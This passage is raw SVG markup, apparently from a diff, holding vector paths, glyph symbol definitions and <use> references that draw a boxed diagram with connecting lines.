x="199.328" y="260.836"/><use xlink:href="#p" x="207.16" y="260.836"/><use xlink:href="#m" x="214.367" y="260.836"/><use xlink:href="#l" x="219.738" y="260.836"/><use xlink:href="#A" x="224.68" y="260.836"/><use xlink:href="#n" x="236.398" y="260.836"/><use xlink:href="#C" x="243.84" y="260.836"/><use xlink:href="#l" x="251.75" y="260.836"/><use xlink:href="#s" x="256.691" y="260.836"/><use xlink:href="#o" x="258.859" y="260.836"/><use xlink:href="#r" x="262.668" y="260.836"/><use xlink:href="#G" x="268.742" y="260.836"/><use xlink:href="#H" x="276.555" y="260.836"/><use xlink:href="#l" x="280.461" y="260.836"/><use xlink:href="#n" x="285.285" y="260.836"/><use xlink:href="#s" x="292.727" y="260.836"/><use xlink:href="#o" x="294.895" y="260.836"/><use xlink:href="#G" x="298.703" y="260.836"/><use xlink:href="#C" x="306.516" y="260.836"/><use xlink:href="#H" x="314.426" y="260.836"/><use xlink:href="#l" x="318.332" y="260.836"/><use xlink:href="#s" x="323.273" y="260.836"/><use xlink:href="#o" x="325.441" y="260.836"/><use xlink:href="#w" x="329.25" y="260.836"/><use xlink:href="#G" x="337.063" y="260.836"/><use xlink:href="#H" x="344.875" y="260.836"/><use xlink:href="#I" x="348.781" y="260.836"/><use xlink:href="#q" x="352.98" y="260.836"/><use xlink:href="#H" x="360.773" y="260.836"/><use xlink:href="#C" x="364.68" y="260.836"/><use xlink:href="#J" x="372.59" y="260.836"/><use xlink:href="#s" x="380.363" y="260.836"/><use xlink:href="#o" x="382.531" y="260.836"/><use xlink:href="#K" x="386.34" y="260.836"/><use xlink:href="#x" x="394.777" y="260.836"/><use xlink:href="#x" x="402.551" y="260.836"/><use xlink:href="#m" x="410.324" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#L" x="149.242" y="311.195"/><use xlink:href="#h" x="158.383" y="311.195"/><use xlink:href="#M" x="162.875" y="311.195"/><use xlink:href="#N" x="168.305" y="311.195"/><path d="M 197.3125 283.667969 L 385.3125 283.667969 L 385.3125 323.667969 L 197.3125 323.667969 Z M 197.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 289.667969 L 197.3125 283.667969 C 194 283.667969 191.3125 286.355469 191.3125 289.667969 Z M 197.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 289.667969 L 391.3125 289.667969 C 391.3125 286.355469 388.625 283.667969 385.3125 283.667969 Z M 385.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 289.667969 L 391.3125 289.667969 L 391.3125 317.667969 L 191.3125 317.667969 Z M 191.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 317.667969 L 191.3125 317.667969 C 191.3125 320.980469 194 323.667969 197.3125 323.667969 Z M 197.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 317.667969 L 385.3125 323.667969 C 388.625 323.667969 391.3125 320.980469 391.3125 317.667969 Z M 385.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 54.702598 L 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 56.702598 L 43.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 54.702598 L 34.051825 54.702598 C 33.8862 54.702598 33.751825 54.836973 33.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 55.002598 C 43.751825 54.836973 43.61745 54.702598 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 55.002598 L 33.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 56.402598 L 33.751825 56.402598 C 33.751825 56.568223 33.8862 56.702598 34.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.451825 56.702598 L 43.451825 56.702598 C 43.61745 56.702598 43.751825 56.568223 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><use xlink:href="#O" x="114.887" y="382.422"/><use xlink:href="#P" x="123.793" y="382.422"/><use xlink:href="#Q" x="128.559" y="382.422"/><use xlink:href="#f" x="137.465" y="382.422"/><use xlink:href="#L" x="141.352" y="382.422"/><use xlink:href="#R" x="149.945" y="382.422"/><use xlink:href="#b" x="158.852" y="382.422"/><use xlink:href="#d" x="167.758" y="382.422"/><path d="M 197.3125 354.898438 L 305.3125 354.898438 L 305.3125 394.898438 L 197.3125 394.898438 Z M 197.3125 354.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 360.898438 L 197.3125 354.898438 C 194 354.898438 191.3125 357.585938 191.3125 360.898438 Z M 197.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 360.898438 L 311.3125 360.898438 C 311.3125 357.585938 308.625 354.898438 305.3125 354.898438 Z M 305.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 360.898438 L 311.3125 360.898438 L 311.3125 388.898438 L 191.3125 388.898438 Z M 191.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 388.898438 L 191.3125 388.898438 C 191.3125 392.210938 194 394.898438 197.3125 394.898438 Z M 197.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 388.898438 L 305.3125 394.898438 C 308.625 394.898438 311.3125 392.210938 311.3125 388.898438 Z M 305.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 58.264122 L 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 60.264122 L 39.451825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 58.264122 L 34.051825 58.264122 C 33.8862 58.264122 33.751825 58.398497 33.751825 58.564122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 58.564122 C 39.751825 58.398497 39.61745 58.264122 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 58.564122 L 33.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 59.964122 L 33.751825 59.964122 C 33.751825 60.129747 33.8862 60.264122 34.051825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.451825 60.264122 L 39.451825 60.264122 C 39.61745 60.264122 39.751825 60.129747 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.3125 283.667969 L 605.3125 283.667969 L 605.3125 323.667969 L 477.3125 323.667969 Z M 477.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 289.667969 L 477.3125 283.667969 C 474 283.667969 471.3125 286.355469 471.3125 289.667969 Z M 477.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 289.667969 L 611.3125 289.667969 C 611.3125 286.355469 608.625 283.667969 605.3125 283.667969 Z M 605.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.3125 289.667969 L 611.3125 289.667969 L 611.3125 317.667969 L 471.3125 317.667969 Z M 471.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 317.667969 L 471.3125 317.667969 C 471.3125 320.980469 474 323.667969 477.3125 323.667969 Z M 477.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 317.667969 L 605.3125 323.667969 C 608.625 323.667969 611.3125 320.980469 611.3125 317.667969 Z M 605.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.051825 54.702598 L 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 56.702598 L 54.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 54.702598 L 48.051825 54.702598 C 47.8862 54.702598 47.751825 54.836973 47.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 55.002598 C 54.751825 54.836973 54.61745 54.702598 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 55.002598 L 47.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 56.402598 L 47.751825 56.402598 C 47.751825 56.568223 47.8862 56.702598 48.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 56.702598 L 54.451825 56.702598 C 54.61745 56.702598 54.751825 56.568223 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#S" x="423.066" y="311.195"/><use xlink:href="#M" x="431.855" y="311.195"/><use xlink:href="#T" x="437.676" y="311.195"/><use xlink:href="#M" x="445.938" y="311.195"/><use xlink:href="#d" x="451.758" y="311.195"/></g><path d="M 27.900653 42.973497 L 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 27.905536 44.871934 C 27.780536 44.87213 27.655145 44.74752 27.65495 44.62252 C 27.654559 44.49752 27.779169 44.37213 27.904169 44.371934 C 28.029169 44.371544 28.154559 44.496348 28.15495 44.621348 C 28.155145 44.746348 28.030536 44.871544 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.275067 43.802208 L 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.249091 49.473887 C 46.124091 49.473302 45.999481 49.347716 46.000067 49.222716 C 46.000653 49.097716 46.126239 48.973302 46.251239 48.973887 C 46.376239 48.974473 46.500653 49.100059 46.500067 49.225059 C 46.499481 49.350059 46.374091 49.474473 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 519.304688 458.691406 L 696.003906 458.691406 L 696.003906 482.089844 L 519.304688 482.089844 Z M 519.304688 458.691406" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="519.305" y="477.09"/><use xlink:href="#x" x="527.137" y="477.09"/><use xlink:href="#r" x="534.91" y="477.09"/><use xlink:href="#l" x="540.984" y="477.09"/><use xlink:href="#p" x="545.926" y="477.09"/><use xlink:href="#I" x="553.133" y="477.09"/><use xlink:href="#U" x="557.332" y="477.09"/><use xlink:href="#p" x="563.348" y="477.09"/><use xlink:href="#q" x="570.555" y="477.09"/><use xlink:href="#q" x="578.348" y="477.09"/><use xlink:href="#m" x="586.141" y="477.09"/><use xlink:href="#n" x="591.082" y="477.09"/><use xlink:href="#r" x="598.523" y="477.09"/><use xlink:href="#r" x="604.598" y="477.09"/><use xlink:href="#U" x="610.672" y="477.09"/><use xlink:href="#r" x="616.688" y="477.09"/><use xlink:href="#l" x="622.762" y="477.09"/><use xlink:href="#p" x="627.703" y="477.09"/><use xlink:href="#l" x="634.91" y="477.09"/><use xlink:href="#n" x="639.734" y="477.09"/><use xlink:href="#U" x="647.176" y="477.09"/><use xlink:href="#V" x="653.191" y="477.09"/><use xlink:href="#H" x="663.816" y="477.09"/><use xlink:href="#q" x="667.723" y="477.09"/><use xlink:href="#J" x="675.516" y="477.09"/><use xlink:href="#n" x="683.289" y="477.09"/><use xlink:href="#l" x="690.73" y="477.09"/></g><path d="M 44.988281 24.355469 L 165.839844 24.355469 L 165.839844 47.753906 L 44.988281 47.753906 Z M 44.988281 24.355469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="44.988" y="42.754"/><use xlink:href="#x" x="52.82" y="42.754"/><use xlink:href="#r" x="60.594" y="42.754"/><use xlink:href="#l" x="66.668" y="42.754"/><use xlink:href="#p" x="71.609" y="42.754"/><use xlink:href="#I" x="78.816" y="42.754"/><use xlink:href="#U" x="83.016" y="42.754"/><use xlink:href="#p" x="89.031" y="42.754"/><use xlink:href="#q" x="96.238" y="42.754"/><use xlink:href="#q" x="104.031" y="42.754"/><use xlink:href="#m" x="111.824" y="42.754"/><use xlink:href="#n" x="116.766" y="42.754"/><use xlink:href="#r" x="124.207" y="42.754"/><use xlink:href="#r" x="130.281" y="42.754"/><use xlink:href="#U" x="136.355" y="42.754"/><use xlink:href="#m" x="142.371" y="42.754"/><use xlink:href="#x" x="147.313" y="42.754"/><use xlink:href="#V" x="154.949" y="42.754"/></g><path d="M 311.148438 41.605469 L 524.5 41.605469 L 524.5 65.003906 L 311.148438 65.003906 Z M 311.148438 41.605469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="311.148" y="60.008"/><use xlink:href="#x" x="318.98" y="60.008"/><use xlink:href="#r" x="326.754" y="60.008"/><use xlink:href="#l" x="332.828" y="60.008"/><use xlink:href="#p" x="337.77" y="60.008"/><use xlink:href="#I" x="344.977" y="60.008"/><use xlink:href="#U" x="349.176" y="60.008"/><use xlink:href="#p" x="355.191" y="60.008"/><use xlink:href="#q" x="362.398" y="60.008"/><use xlink:href="#q" x="370.191" y="60.008"/><use xlink:href="#m" x="377.984" y="60.008"/><use xlink:href="#n" x="382.926" y="60.008"/><use xlink:href="#r" x="390.367" y="60.008"/><use xlink:href="#r" x="396.441" y="60.008"/><use xlink:href="#U" x="402.516" y="60.008"/><use xlink:href="#p" x="408.531" y="60.008"/><use xlink:href="#q" x="415.738" y="60.008"/><use xlink:href="#q" x="423.531" y="60.008"/><use xlink:href="#m" x="431.324" y="60.008"/><use xlink:href="#n" x="436.266" y="60.008"/><use xlink:href="#r" x="443.707" y="60.008"/><use xlink:href="#r" x="449.781" y="60.008"/><use xlink:href="#W" x="455.855" y="60.008"/><use xlink:href="#H" x="463.316" y="60.008"/><use xlink:href="#C" x="467.223" y="60.008"/><use xlink:href="#n" x="475.133" y="60.008"/><use xlink:href="#X" x="482.574" y="60.008"/><use xlink:href="#U" x="490.68" y="60.008"/><use xlink:href="#Y" x="496.695" y="60.008"/><use xlink:href="#n" x="504.625" y="60.008"/><use xlink:href="#I" x="512.066" y="60.008"/><use xlink:href="#B" x="516.266" y="60.008"/></g><path d="M 54.402344 467.421875 L 238.003906 467.421875 L 238.003906 490.820312 L 54.402344 490.820312 Z M 54.402344 467.421875" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="54.402" y="485.82"/><use xlink:href="#x" x="62.234" y="485.82"/><use xlink:href="#r" x="70.008" y="485.82"/><use xlink:href="#l" x="76.082" y="485.82"/><use xlink:href="#p" x="81.023" y="485.82"/><use xlink:href="#I" x="88.23" y="485.82"/><use xlink:href="#U" x="92.43" y="485.82"/><use xlink:href="#p" x="98.445" y="485.82"/><use xlink:href="#q" x="105.652" y="485.82"/><use xlink:href="#q" x="113.445" y="485.82"/><use xlink:href="#m" x="121.238" y="485.82"/><use xlink:href="#n" x="126.18" y="485.82"/><use xlink:href="#r" x="133.621" y="485.82"/><use xlink:href="#r" x="139.695" y="485.82"/><use xlink:href="#U" x="145.77" y="485.82"/><use xlink:href="#Z" x="151.785" y="485.82"/><use xlink:href="#H" x="158.27" y="485.82"/><use xlink:href="#B" x="162.176" y="485.82"/><use xlink:href="#aa" x="170.008" y="485.82"/><use xlink:href="#x" x="177.781" y="485.82"/><use xlink:href="#q" x="185.555" y="485.82"/><use xlink:href="#n" x="193.348" y="485.82"/><use xlink:href="#U" x="200.789" y="485.82"/><use xlink:href="#I" x="206.805" y="485.82"/><use xlink:href="#p" x="211.004" y="485.82"/><use xlink:href="#w" x="218.211" y="485.82"/><use xlink:href="#n" x="226.023" y="485.82"/><use xlink:href="#I" x="233.465" y="485.82"/></g><path d="M 53.802606 63.60045 L 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 53.829364 56.467247 C 53.954364 56.467637 54.078778 56.593223 54.078387 56.718223 C 54.077997 56.843223 53.952411 56.967637 53.827411 56.967247 C 53.702411 56.966661 53.577997 56.84127 53.578387 56.71627 C 53.578778 56.59127 53.704364 56.466661 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.356122 63.967833 L 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.382684 59.091075 C 29.507684 59.091856 29.632098 59.217442 29.631317 59.342442 C 29.630731 59.467442 29.50495 59.591856 29.37995 59.591075 C 29.25495 59.590489 29.130731 59.464708 29.131317 59.339708 C 29.132098 59.214708 29.257684 59.090489 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 512"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 